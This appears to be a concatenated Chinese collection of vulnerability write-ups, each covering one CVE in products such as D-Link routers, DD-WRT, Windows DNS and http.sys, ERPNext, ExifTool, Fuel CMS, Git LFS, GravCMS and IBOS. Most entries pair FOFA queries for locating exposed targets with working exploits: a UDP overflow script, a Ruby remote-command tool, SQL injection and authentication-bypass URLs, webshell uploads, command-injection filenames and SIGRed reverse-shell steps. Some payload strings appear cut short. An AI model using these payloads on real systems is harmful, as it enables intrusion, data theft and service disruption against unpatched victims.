cmd.cgi特性(不能通过web用户界面访问)，该特性允许经过身份验证的用户执行操作系统命令。 4 | 5 | PS:需身份验证 6 | 7 | FOFA: 8 | 9 | ``` 10 | "DSL-2888A" 11 | ``` 12 | 13 | **PoC:** 14 | 15 | ``` 16 | http://DeviceIP/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=ls 17 | ``` 18 | 19 | ![](images/16115656542559.jpg) 20 | 21 | 22 | ![](images/16115656597330.jpg) 23 | 24 | 25 | ref： 26 | 27 | * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1466 28 | * https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=28241 29 | * https://forum.ywhack.com/thread-115030-1-1.html 30 | * https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ -------------------------------------------------------------------------------- /DD-WRT 缓冲区溢出漏洞（CVE-2021-27137）.md: -------------------------------------------------------------------------------- 1 | # DD-WRT 缓冲区溢出漏洞（CVE-2021-27137） 2 | 3 | DD-WRT是基于Linux的固件，用于无线路由器和接入点。最初是为Linksys WRT54G系列设计的，现在可在多种型号上运行。 4 | 5 | 影响版本： 6 | 7 | DD-WRT 45723 或更低版本 8 | 9 | **PoC：** 10 | 11 | ```py 12 | import socket 13 | 14 | target_ip = "192.168.15.124" # IP Address of Target 15 | off = "D"*164 16 | ret_addr = "AAAA" 17 | 18 | payload = off + ret_addr 19 | 20 | packet = \ 21 | 'M-SEARCH * HTTP/1.1\r\n' \ 22 | 'HOST:239.255.255.250:1900\r\n' \ 23 | 'ST:uuid:'+payload+'\r\n' \ 24 | 'MX:2\r\n' \ 25 | 'MAN:"ssdp:discover"\r\n' \ 26 | '\r\n' 27 | 28 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 29 | s.sendto(packet.encode(), (target_ip, 1900) ) 30 | ``` 31 | 32 | ref： 33 | 34 | https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/ -------------------------------------------------------------------------------- /DNS Server远程代码执行漏洞(CVE-2020-1350).md: -------------------------------------------------------------------------------- 1 | # DNS Server远程代码执行漏洞(CVE-2020-1350) 2 | 3 | 关于此漏洞的详细信息：https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred 4 | 5 | 漏洞利用： 6 | 7 | ```bash 8 | sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80) 9 | sudo python3 evildns.py 10 | ``` 11 | 12 | 需要sudo监听UDP和TCP端口53 13 | 14 | 然后运行： 15 | 16 | ```bash 17 | python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN 18 | ``` 19 | 20 | 设置反弹shell的监听： 21 | 22 | ```bash 23 | python3 reverse_shell/server.py -p PORT_REVERSE_SHELL 24 | ``` 25 | 26 | poc：https://github.com/chompie1337/SIGRed_RCE_PoC 27 | 28 | ref： 29 | 30 | * https://www.graplsecurity.com/po ... ve-2020-1350-sigred 31 | * https://github.com/chompie1337/SIGRed_RCE_PoC 32 | * https://nvd.nist.gov/vuln/detail/CVE-2020-1350 -------------------------------------------------------------------------------- /Dell BIOS驱动权限提升漏洞（CVE-2021-21551）.md: -------------------------------------------------------------------------------- 1 | # Dell BIOS驱动权限提升漏洞（CVE-2021-21551） 2 | 3 | 4 | 在Dell 的BIOS驱动中由于固件更新程序接受IOCTL（输入输出控制）请求，而没有ACL（访问控制列表），即可以被任意用户调用，通过此方法，造成了任意读取/写入漏洞，如果任意读写可以将当前用户提升至更高权限。 5 | 6 | PoC：https://github.com/waldo-irc/CVE-2021-21551 7 | 8 | Metasploit Exploit：https://github.com/rapid7/metasploit-framework/pull/15190 9 | 10 | https://github.com/zeroSteiner/metasploit-framework/blob/feat/cve-2021-21551/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb 11 | 12 | 13 | ``` 14 | use exploit/windows/local/cve_2021_21551_dbutil_memmove 15 | 设置SESSION和PAYLOAD 16 | run 17 | ``` 18 | 19 | ref： 20 | 21 | * https://github.com/rapid7/metasploit-framework/pull/15190 22 | * https://nvd.nist.gov/vuln/detail/CVE-2021-21551 23 | * https://github.com/waldo-irc/CVE-2021-21551 -------------------------------------------------------------------------------- /Dell OpenManage Server Administrator 任意文件读取 (CVE-2021-21514).md: -------------------------------------------------------------------------------- 1 | # Dell OpenManage Server Administrator 任意文件读取 (CVE-2021-21514) 2 | 3 | 此漏洞利用已知的身份验证绕过来获取OMSA的Web管理界面有效会话cookie。攻击者可以构造请求从服务器读取任意文件。CVE-2021-21514为CVE-2020-5377的补丁绕过。 4 | 5 | 影响版本：Dell OpenManage Server Administrator < 9.5 6 | 7 | 通过URL编码绕过DownloadServlet方法： 8 | 9 | ``` 10 | https://omsa.server/{VID}/DownloadServle%74?help=Certificate&app=oma&vid={VID}&file=C:\some\file 11 | https://omsa.server/{VID}/DownloadServlet?help=Certificate&app=oma&vid={VID}&file=C:\some\file 12 | ``` 13 | 14 | ％74为t编码后的URL。 15 | 16 | 使用： 17 | 18 | CVE-2020-5377.py : 19 | 20 | 21 | poc.py:https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2020-5377_CVE-2021-21514 22 | 23 | -------------------------------------------------------------------------------- /Docker 容器逃逸漏洞（CVE-2020-15257）.md: -------------------------------------------------------------------------------- 1 | # Docker 容器逃逸漏洞（CVE-2020-15257） 2 | 3 | 漏洞原理、基础知识请阅读以下链接，不再展开： 4 | 5 | https://medium.com/nttlabs/dont-use-host-network-namespace-f548aeeef575 6 | 7 | 或者中文的： 8 | 9 | https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg 10 | 11 | 简要来说，containerd->containerd-shim->runc 的通信模型中，containerd-shim的接口作为abstract unix socket暴露，在docker使用net=host参数启动、与宿主机共享net namespace时，其中的unix socket可以被容器内部访问到，容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像，并通过该镜像逃逸。 12 | 13 | **POC** 14 | 15 | 这个漏洞POC比较简单，只要探测到docker内部有containerd-shim启动的unix socket即可确认。 16 | 17 | https://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257 18 | 19 | https://github.com/Xyntax/CDK/releases/tag/0.1.6 20 | 21 | ![](media/16096797850116/16096798402221.jpg) 22 | 23 | 来源：https://www.cdxy.me/?p=837 24 | -------------------------------------------------------------------------------- /ERPNext 13.0.0-12.18.0 中的SQL注入漏洞.md: -------------------------------------------------------------------------------- 1 | # ERPNext 13.0.0/12.18.0 中的SQL注入漏洞 2 | 3 | 4 | Trovent Security GmbH 在“frappe.model.db_query.get_list”API参数中发现了一个SQL注入漏洞。在13.0.0版本上，不需要任何特权的Payload就足够了，但是在12.18.0版本上，至少需要“system_user”特权。易受攻击的参数“filters”允许注入SQL语句。攻击者能够查询所有可用的数据库表，以检索用户名，密码哈希或密码重置令牌，然后可以使用这些密码来重置管理员密码。 5 | 6 | poc： 7 | 8 | ``` 9 | GET /api/method/frappe.model.db_query.get_list?filters=%7b%22name%20UNION%20SELECT%20password%20from%20%60__Auth%60%20--%20%22%3a 10 | %20%22administrator%22%7d&fields=%5b%22name%22%5d&doctype=User&limit=20'%3b%20do%20sleep(10)&order_by=name&_=1615372773071 HTTP/1.1 11 | Host: erpnext.local 12 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 13 | Accept: application/json 14 | Accept-Language: en-US,en;q=0.5 15 | Accept-Encoding: gzip, deflate 16 | X-Frappe-CSRF-Token: 0e89c5c43898da856fe12e19a57991d7bdf380477d0354f93ce6bcf3 17 | X-Frappe-CMD: 18 | X-Frappe-Doctype: Dashboard%20Settings 19 | X-Requested-With: XMLHttpRequest 20 | Connection: close 21 | Referer: http://erpnext.local/app/website 22 | Cookie: io=NVosyhHCvV3KdkxNAAi7; sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; system_user=no; full_name=auth%20test%27; user_id=auth%40trovent.io; user_image= 23 | ``` 24 | 25 | ref： 26 | 27 | 1. https://trovent.io/security-advisory-2103-01 28 | 2. https://seclists.org/oss-sec/2021/q2/121 29 | -------------------------------------------------------------------------------- /Eclipse Jetty 拒绝服务 (CVE-2020-27223).md: -------------------------------------------------------------------------------- 1 | # Eclipse Jetty 拒绝服务 (CVE-2020-27223) 2 | 3 | 当Jetty处理包含带有大量质量因子参数(Accept请求头中的q值)的Accept请求头的请求时，CPU使用率较高，服务器可能会进入拒绝服务状态。 4 | 5 | 受影响版本： 6 | 7 | * · Eclipse Jetty 9.4.6.v20170531 至9.4.36.v20210114版本 8 | * · Eclipse Jetty 10.0.0版本 9 | * · Eclipse Jetty 11.0.0版本 10 | 11 | cve-2020-27223-poc1.sh: https://github.com/motikan2010/CVE-2020-27223/blob/main/poc/cve-2020-27223-poc1.sh 12 | 13 | cve-2020-27223-poc2.sh: https://github.com/motikan2010/CVE-2020-27223/blob/main/poc/cve-2020-27223-poc2.sh 14 | 15 | 16 | ```bash 17 | $ ./poc/cve-2020-27223-poc2.sh 18 | curl: (28) Operation timed out after 120000 milliseconds with 0 bytes received 19 | 20 | real 2m0.025s 21 | user 0m0.016s 22 | sys 0m0.009s 23 | ``` 24 | 25 | ref: 26 | 27 | * https://github.com/eclipse/jetty.project/security/advisories/GHSA-m394-8rww-3jr7 28 | * https://github.com/motikan2010/CVE-2020-27223 -------------------------------------------------------------------------------- /Eclipse Theia < 0.16.0 Javascript注入 (CVE-2021-28162).md: -------------------------------------------------------------------------------- 1 | # Eclipse Theia < 0.16.0 Javascript注入 (CVE-2021-28162) 2 | 3 | 4 | 在Eclipse Theia 0.16.0含以下的版本中，通知消息中没有HTML转义，可以运行Javascript代码，导致Javascript注入。 5 | 6 | ``` 7 | packages/messages/src/browser/notification-component.tsx:76 8 | 9 | ``` 10 | 11 | 复现步骤： 12 | 13 | * 1.创建一个新项目并创建一个新的调试器配置文件 launch.json 14 | * 2.在type字段中编写Javascript Payload（例如
） 15 | * 3.启动调试 16 | 17 | 复现视频：https://github.com/eclipse-theia/theia/files/4293788/Theia_PoC.zip 18 | 19 | ref： 20 | 21 | * https://nvd.nist.gov/vuln/detail/CVE-2021-28162 22 | * https://github.com/eclipse-theia/theia/issues/7283 -------------------------------------------------------------------------------- /Emlog v5.3.1 - v6.0.0 后台 RCE（CVE-2021-31737）.md: -------------------------------------------------------------------------------- 1 | # Emlog v5.3.1 - v6.0.0 后台 RCE（CVE-2021-31737） 2 | 3 | 由于在admin/data.php中上传了数据库备份文件，因此emlog v5.3.1和emlog v6.0.0具有远程执行代码漏洞。 4 | 5 | 影响版本： 6 | 7 | * Emlog v5.3.1 8 | * Emlog v6.0.0 9 | 10 | PoC： 11 | 12 | ``` 13 | select "" into outfile "/var/www/html/tet1/emlog_6.0.0/src/content/uploadfile/202104/222.php"; 14 | 15 | ``` 16 | 17 | 通过在后台数据-备份数据库进行构造恶意sql语句进行备份上传-getshell 18 | 19 | ref： 20 | 21 | * https://nvd.nist.gov/vuln/detail/CVE-2021-31737 22 | * https://github.com/emlog/emlog/issues/82 23 | -------------------------------------------------------------------------------- /Emlog v6.0.0 ZIP插件GETSHELL（CVE-2020-21585）.md: -------------------------------------------------------------------------------- 1 | # Emlog v6.0.0 ZIP插件GETSHELL（CVE-2020-21585） 2 | 3 | emlog v6.0.0中的漏洞允许用户通过zip插件模块上传webshel​​l。 4 | 5 | **PoC：** 6 | 7 | ``` 8 | http://x.x.x.x/emlog/src/admin/plugin.php 9 | 编辑一个ZIP包，包含xx/xx.php 10 | 访问之：http://127.0.0.1/emlog/src/content/plugins/abc/abc.php 11 | ``` 12 | 13 | ref： 14 | 15 | * https://nvd.nist.gov/vuln/detail/CVE-2020-21585 16 | * https://github.com/pwnninja/emlog/issues/1 -------------------------------------------------------------------------------- /ExifTool 任意代码执行漏洞 (CVE-2021-22204).md: -------------------------------------------------------------------------------- 1 | # ExifTool 任意代码执行漏洞 (CVE-2021-22204) 2 | 3 | 4 | ExifTool 7.44及更高版本中，对DjVu文件格式中的用户数据进行不正确的中和，允许在解析恶意图像时执行任意代码。 5 | 6 | Metasploit module:https://github.com/rapid7/metasploit-framework/pull/15185 7 | 8 | poc： 9 | 10 | ``` 11 | $ printf 'P1 1 1 0' > moo.pbm 12 | $ cjb2 moo.pbm moo.djvu 13 | $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu 14 | $ exiftool moo.djvu > /dev/null 15 | _______ 16 | < pwned > 17 | ------- 18 | \ ^__^ 19 | \ (oo)\_______ 20 | (__)\ )\/\ 21 | ||----w | 22 | || || 23 | ``` 24 | 25 | ref: 26 | 27 | * https://nvd.nist.gov/vuln/detail/CVE-2021-22204 28 | * https://twitter.com/wcbowling/status/1385803927321415687 29 | * https://www.openwall.com/lists/oss-security/2021/05/10/5 30 | * https://github.com/se162xg/CVE-2021-22204 -------------------------------------------------------------------------------- /FastAdmin 框架远程代码执行漏洞.md: -------------------------------------------------------------------------------- 1 | # FastAdmin 框架远程代码执行漏洞 2 | 3 | 4 | FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。FastAdmin框架存在有条件RCE漏洞，当攻击者具有一定用户权限的前提下，可以实现任意文件上传，导致RCE。 5 | 6 | FOFA： 7 | 8 | ``` 9 | app="FASTADMIN-框架" || body="\"uploadurl\":\"ajax\/upload\"" || body="api.fastadmin.net" || body="\"fastadmin\":{\"usercenter\":true" || body="content=\"FastAdmin\"" || body="cdnurl\":\"\",\"version"|| icon_hash="-1036943727" 10 | ``` 11 | 12 | 详细分析可以见：https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg 13 | 14 | 条件： 15 | 16 | * 普通用户 17 | * chunking = true （开启分片上传功能） 18 | 19 | 上传头像处post： 20 | 21 | ``` 22 | //传入xx.php 23 | POST /index/ajax/upload HTTP/1.1 24 | Host: target 25 | 26 | ------WebKitFormBoundarybw5c2a2bqlLLOMEU 27 | Content-Disposition: form-data; name="file"; filename="Xnip2021-04-02_11-05-27.png" 28 | Content-Type: application/octet-stream 29 | 30 | PNG 31 | ... 32 | 33 | ------WebKitFormBoundarybw5c2a2bqlLLOMEU 34 | Content-Disposition: form-data; name="chunkid" 35 | 36 | xx.php 37 | 38 | ------WebKitFormBoundarybw5c2a2bqlLLOMEU 39 | Content-Disposition: form-data; name="chunkindex" 40 | 41 | 0 42 | ------WebKitFormBoundarybw5c2a2bqlLLOMEU 43 | ``` 44 | 45 | ![-w692](media/16215847478584/16215847933888.jpg) 46 | 47 | 48 | ref： 49 | 50 | * https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg 51 | * https://mp.weixin.qq.com/s/XP9t0TkObawMTSb41Z13gw 52 | * https://nosec.org/home/detail/4713.html 53 | * https://forum.ywhack.com/thread-115352-1-6.html -------------------------------------------------------------------------------- /FortiLogger-未经身份验证的任意文件上传（CVE-2021-3378）.md: -------------------------------------------------------------------------------- 1 | # FortiLogger-未经身份验证的任意文件上传（CVE-2021-3378） 2 | 3 | FortiLogger是一个基于Web的日志记录和报告软件，专门为在Windows操作系统上运行的FortiGate防火墙而设计。它包含即时状态跟踪，日志记录，搜索/过滤，报告和热点等功能。 4 | 5 | 在“热点设置” 下上传公司徽标时发现了此漏洞http://:5000/config/hotspotsettings)。可以向匿名用户发送没有任何身份验证或会话标头的文件，但POST要求是/Config/SaveUploadedHotspotLogoFile。 6 | 7 | 文件在C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img目标logohotspot名称下上传，而没有控制文件扩展名或内容。 8 | 9 | 漏洞详情：https://erberkan.github.io/2021/cve-2021-3378/ 10 | 11 | msf exploit:https://github.com/erberkan/fortilogger_arbitrary_fileupload 12 | 13 | 另外的两个漏洞，信息泄露和无需任何授权即可创建用户，利用脚本可在https://erberkan.github.io/2021/cve-2021-3378/找到。 14 | 15 | -------------------------------------------------------------------------------- /Fuel CMS 1.4.1 远程代码执行.md: -------------------------------------------------------------------------------- 1 | # Fuel CMS 1.4.1 远程代码执行 2 | 3 | FOFA： 4 | 5 | ``` 6 | "Fuel CMS" 7 | ``` 8 | 9 | PoC： 10 | 11 | ```bash 12 | /fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B' 13 | ``` 14 | 15 | ```ruby 16 | #!/usr/bin/env ruby 17 | 18 | require 'httpclient' 19 | require 'docopt' 20 | 21 | # dirty workaround to ignore Max-Age 22 | # https://github.com/nahi/httpclient/issues/242#issuecomment-69013932 23 | $VERBOSE = nil 24 | 25 | doc = <<~DOCOPT 26 | Fuel CMS 1.4 - Remote Code Execution 27 | 28 | Usage: 29 | #{__FILE__} 30 | #{__FILE__} -h | --help 31 | 32 | Options: 33 | Root URL (base path) including HTTP scheme, port and root folder 34 | The system command to execute 35 | -h, --help Show this screen 36 | 37 | Examples: 38 | #{__FILE__} http://example.org id 39 | #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd' 40 | DOCOPT 41 | 42 | def exploit(client, root_url, cmd) 43 | url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'" 44 | 45 | res = client.get(url) 46 | 47 | /system(.+?)
'], args['']) 54 | rescue Docopt::Exit => e 55 | puts e.message 56 | end 57 | 58 | ``` 59 | 60 | ref： 61 | 62 | * https://github.com/nahi/httpclient/issues/242 63 | * https://www.exploit-db.com/exploits/49487 -------------------------------------------------------------------------------- /Git CLI远程代码执行漏洞（CVE-2020-26233）.md: -------------------------------------------------------------------------------- 1 | # Git CLI远程代码执行漏洞（CVE-2020-26233） 2 | 3 | src/shared/Microsoft.Git.CredentialManager/CommandContext.cs的代码： 4 | 5 | ![](images/16113243229970.jpg) 6 | 7 | 第89行中，将创建一个搜索git.exe的新进程，并将Environment.LocateExecutable('git.exe')作为目录路径参数传递给GitProcess()函数。 8 | 9 | **利用步骤：** 10 | 11 | * a）创建一个新的存储库或将文件添加到现有存储库； 12 | * b）将Windows可执行文件上传到此存储库，重命名为git.exe； 13 | * c）等待受害者fork存储库 14 | 15 | ![](images/16113243347850.jpg) 16 | 17 | 18 | 使用gh repo fork REPOSITORY_NAME --clone frok后触发rce： 19 | 20 | 21 | ![](images/16113243420968.jpg) 22 | 23 | 24 | ref： 25 | 26 | * https://github.com/microsoft/Git-Credential-Manager-Core/security/advisories/GHSA-2gq7-ww4j-3m76 27 | * https://wildfire.blazeinfosec.com/attack-of-the-clones-2-git-command-client-remote-code-execution-strikes-back/ 28 | * https://github.com/microsoft/Git-Credential-Manager-Core/blob/c3a543a1352dba953e027f7a92ee4a94b2293a22/src/shared/Microsoft.Git.CredentialManager/CommandContext.cs#L89-L93 29 | * https://forum.ywhack.com/thread-115014-1-1.html -------------------------------------------------------------------------------- /Git LFS 远程代码执行漏洞 CVE-2020–27955.md: -------------------------------------------------------------------------------- 1 | # Git LFS 远程代码执行漏洞 CVE-2020–27955 2 | 3 | 2020年11月5日，在Git扩展之一GIT LFS上发现了一个关键漏洞。此漏洞利用成功会导致目标机器的远程代码执行。 4 | 5 | 远程代码执行漏洞仅对Windows平台上的Git-LFS（git-lfs）版本<=2.12上有效。一旦受害者克隆了恶意存储库，并在他们的系统上运行了易受攻击版本的git-lfs，恶意Payload就会立即执行。 6 | 7 | 漏洞验证： 8 | 9 | 在CMD窗口上使用以下命令。如果安装了受影响的git-lfs工具，系统将提示您使用计算器应用程序。 10 | 11 | 12 | ``` 13 | 1. mkdir C:\Windows\Temp\poc 14 | 2. cd C:\Windows\Temp\poc 15 | 3. echo calc.exe > git.cmd 16 | 4. git-lfs track 17 | ``` 18 | 19 | 在目标系统上获得RCE 20 | 21 | 按照以下步骤进行远程代码执行 22 | 23 | 作为攻击者： 24 | 25 | 1.在GitHub上创建一个存储库 26 | 27 | ![](media/16097299855890/16097300092808.jpg) 28 | 29 | 30 | 31 | ``` 32 | 2. cd /dev/shm 33 | 3. git clone https://github.com/attacker/poc.git . 34 | 4. echo calc.exe > git.cmd 35 | 5. git lfs track “*.dat” 36 | 6. echo “Junk” > large.dat 37 | 7. git add -A 38 | 8. git commit -m “POC” 39 | 9. git push -u origin master -f 40 | ``` 41 | 42 | ![](media/16097299855890/16097300214141.jpg) 43 | 44 | 45 | 受害者： 46 | 47 | 1.git clone https://github.com/attacker/poc.git. 48 | 49 | ![](media/16097299855890/16097300337411.jpg) 50 | 51 | PoC视频： 52 | 53 | https://www.youtube.com/watch?v=WF69X9KEayE 54 | 55 | 加固建议： 56 | 57 | 更新并保持 git 版本高于 2.29.2，将 git-lfs 扩展程序保持在 2.12 以上 58 | 59 | 60 | ref： 61 | 62 | https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3 63 | 64 | https://forum.ywhack.com/thread-114744-1-4.html -------------------------------------------------------------------------------- /GitLab Graphql 邮件地址信息泄露 (CVE-2020-26413).md: -------------------------------------------------------------------------------- 1 | # GitLab Graphql 邮件地址信息泄露 (CVE-2020-26413) 2 | 3 | GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名 4 | 5 | 影响版本： 6 | 7 | GitLab 13.4 - 13.6.2 8 | 9 | 可以先通过接口进行遍历用户名，然后再枚举用户的邮箱... 10 | 11 | 12 | ``` 13 | https://xxx/api/v4/users/x 14 | ``` 15 | 16 | poc： 17 | 18 | ``` 19 | http://xxx.xxx.xxx.xxx/-//graphql-explorer 20 | query { 21 | user(username:"root"){ 22 | email 23 | username 24 | } 25 | } 26 | ``` 27 | 28 | ref： 29 | 30 | * https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw 31 | * https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193 32 | * https://nvd.nist.gov/vuln/detail/CVE-2020-26413 33 | * https://gitlab.com/gitlab-org/gitlab/-/issues/244275 -------------------------------------------------------------------------------- /Gitlab Kramdown RCE（CVE-2021-22192）.md: -------------------------------------------------------------------------------- 1 | # Gitlab Kramdown RCE（CVE-2021-22192） 2 | 3 | chen师傅的分析：https://wx.zsxq.com/dweb2/index/group/555848225184 4 | 5 | 复现步骤可以见：https://hackerone.com/reports/1125425 6 | 7 | 8 | -------------------------------------------------------------------------------- /Gitlab SSRF-信息泄漏漏洞 (CVE-2021-22178-CVE-2021-22176).md: -------------------------------------------------------------------------------- 1 | # Gitlab SSRF/信息泄漏漏洞 (CVE-2021-22178/CVE-2021-22176) 2 | 3 | CVE-2021-22176 4 | 5 | GitLab 中存在一个信息泄露漏洞，不当的访问控制使降级的项目成员可以访问创作者的合并请求的详细信息。 6 | 7 | CVE-2021-22178 8 | 9 | 在GitLab中发现了一个问题，影响了从13.2开始的所有版本。Gitlab通过Prometheus集成容易受到SRRF攻击。 10 | 11 | 两个漏洞的PoC可以见： 12 | 13 | * CVE-2021-22176：https://gitlab.com/gitlab-org/gitlab/-/issues/243491 14 | * CVE-2021-22178：https://gitlab.com/gitlab-org/gitlab/-/issues/284819 15 | 16 | ref： 17 | 18 | * https://nvd.nist.gov/vuln/detail/CVE-2021-22176 19 | * https://nvd.nist.gov/vuln/detail/CVE-2021-22178 -------------------------------------------------------------------------------- /Gitlab 敏感信息泄露漏洞 (CVE-2021-22188).md: -------------------------------------------------------------------------------- 1 | # Gitlab 敏感信息泄露漏洞 (CVE-2021-22188) 2 | 3 | 通过该漏洞，未经授权的远程攻击者可以通过分支日志读取issue title 4 | 5 | 影响版本： 6 | 7 | GitLab >13.0 8 | 9 | 复现步骤： 10 | 11 | 12 | * 1.创建一个公共项目 13 | * 2.在此公共项目中创建一个机密问题 14 | * 3.在该公共项目中创建一个提交，并将提交消息设置为“Solves #” 15 | * 4.然后打开一个新的浏览器，使用非步骤1中创建项目的成员其它账户访问URL： 16 | 17 | ``` 18 | http://host///-/refs//logs_tree/?format=json&offset=0 19 | ``` 20 | 21 | ref： 22 | 23 | * https://nvd.nist.gov/vuln/detail/CVE-2021-22188 24 | * https://hackerone.com/reports/916340 -------------------------------------------------------------------------------- /GravCMS未经身份验证的任意YAML写入-RCE（CVE-2021-21425）.md: -------------------------------------------------------------------------------- 1 | # GravCMS未经身份验证的任意YAML写入/RCE（CVE-2021-21425） 2 | 3 | 详情分析可以见：https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/ 4 | 5 | 任意YAML文件写入： 6 | 7 | * 1 –访问hxxp://target/admin URL.。 8 | * 2 –获取cookie并从登录表单中提取admin-nonce值。 9 | * 3-执行以下POST请求。 10 | 11 | 12 | ``` 13 | POST /admin/config/site HTTP/1.1 14 | HOST: target 15 | ... 16 | 17 | task=SavaDefault&data[title]=PWNED&admin-nonce=xxx 18 | ``` 19 | 20 | rce： 21 | 22 | ``` 23 | POST /admin/config/scheduler HTTP/1.1 24 | Host: 192.168.179.131 25 | Content-Length: 348 26 | Cache-Control: max-age=0 27 | Upgrade-Insecure-Requests: 1 28 | Origin: http://192.168.179.131 29 | Content-Type: application/x-www-form-urlencoded 30 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 31 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 32 | Referer: http://192.168.179.131/admin/forgot 33 | Accept-Encoding: gzip, deflate 34 | Accept-Language: en-US,en;q=0.9 35 | Cookie: grav-site-1dfbe94-admin=s2pca2cleqg78u8iit6v593h60 36 | Connection: close 37 | task=SaveDefault&data%5Bcustom_jobs%5D%5Bmdisec21%5D%5Bcommand%5D=/usr/bin/echo 38 | &data%5Bcustom_jobs%5D%5Bmdisec21%5D%5Bargs%5D=1337 39 | &data%5Bcustom_jobs%5D%5Bmdisec21%5D%5Bat%5D=*+*+*+*+* 40 | &data%5Bcustom_jobs%5D%5Bmdisec21%5D%5Boutput%5D=/tmp/1.txt 41 | &data%5Bcustom_jobs%5D%5Bmdisec21%5D%5Boutput_mode%5D=append 42 | &admin-nonce=b78bb0a12604579896f9b4796dde8833 43 | ``` 44 | 45 | ref: 46 | 47 | * https://nvd.nist.gov/vuln/detail/CVE-2021-21425 48 | * https://github.com/getgrav/grav-plugin-admin/security/advisories/GHSA-6f53-6qgv-39pj 49 | * https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/ -------------------------------------------------------------------------------- /H3C-SecPath-运维审计系统(堡垒机)任意用户登录.md: -------------------------------------------------------------------------------- 1 | # H3C-SecPath-运维审计系统(堡垒机)任意用户登录 2 | 3 | H3C SecPath 运维审计系统是基于用户现阶段面临的运维难题提出的一款运维风险管控产品。攻击者可通过输入特殊 url，达到任意用户登录的目的。 4 | 5 | FOFA： 6 | 7 | `app="H3C-SecPath-运维审计系统"` 8 | 9 | 影响版本： 10 | 2018 11 | 12 | PoC: 13 | 14 | ``` 15 | http://target/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin 16 | ``` 17 | 18 | ref： 19 | 20 | https://nox.qianxin.com/vulnerability/detail/97202 -------------------------------------------------------------------------------- /HTTP协议栈远程代码执行漏洞（CVE-2021-31166）.md: -------------------------------------------------------------------------------- 1 | # HTTP协议栈远程代码执行漏洞（CVE-2021-31166） 2 | 3 | 4 | 该漏洞存在于HTTP 协议栈 (http.sys) 的处理程序中，未经身份验证的远程攻击者可通过向目标主机发送特制数据包来进行利用，从而在目标系统上以内核身份执行任意代码。CVSS评分为9.8。 5 | 6 | 影响版本 7 | 8 | * Windows Server, version 20H2 (Server Core Installation) 9 | * Windows 10 Version 20H2 for ARM64-based Systems 10 | * Windows 10 Version 20H2 for 32-bit Systems 11 | * Windows 10 Version 20H2 for x64-based Systems 12 | * Windows Server, version 2004 (Server Core installation) 13 | * Windows 10 Version 2004 for x64-based Systems 14 | * Windows 10 Version 2004 for ARM64-based Systems 15 | * Windows 10 Version 2004 for 32-bit Systems 16 | 17 | PoC.py: 18 | 19 | 20 | ``` 21 | import requests 22 | import argparse 23 | 24 | def main(): 25 | parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys') 26 | parser.add_argument('--target', required = True) 27 | args = parser.parse_args() 28 | r = requests.get(f'http://{args.target}/', headers = { 29 | 'Accept-Encoding': 'doar-e, ftw, imo, ,', 30 | }) 31 | print(r) 32 | 33 | main() 34 | ``` 35 | 36 | ref: 37 | 38 | * https://github.com/0vercl0k/CVE-2021-31166 39 | * http://blog.nsfocus.net/cve-2021-31166/ 40 | * https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166 -------------------------------------------------------------------------------- /IBOS酷办公系统 后台命令执行.md: -------------------------------------------------------------------------------- 1 | # IBOS酷办公系统 后台命令执行 2 | 3 | FOFA： 4 | 5 | ``` 6 | body="IBOS" && body="login-panel" 7 | ``` 8 | 9 | 利用条件 10 | 11 | * IBOS_4.5.5及以前的版本 12 | * 需要具备后台登陆权限 13 | 14 | **PoC：** 15 | 16 | 登录之后点击管理后台。 17 | 18 | 在后台管理中找到通用设置，在数据库的备份中选择更多选项，数据备份方式选择系统 MySQL Dump (Shell) 备份，然后提交。 19 | 20 | 拦截此数据包，修改其中的filename参数,会在根目录生成2021.php 21 | 22 | ``` 23 | 2021%26echo "">2021%PATHEXT:~0,1%php%262021 24 | 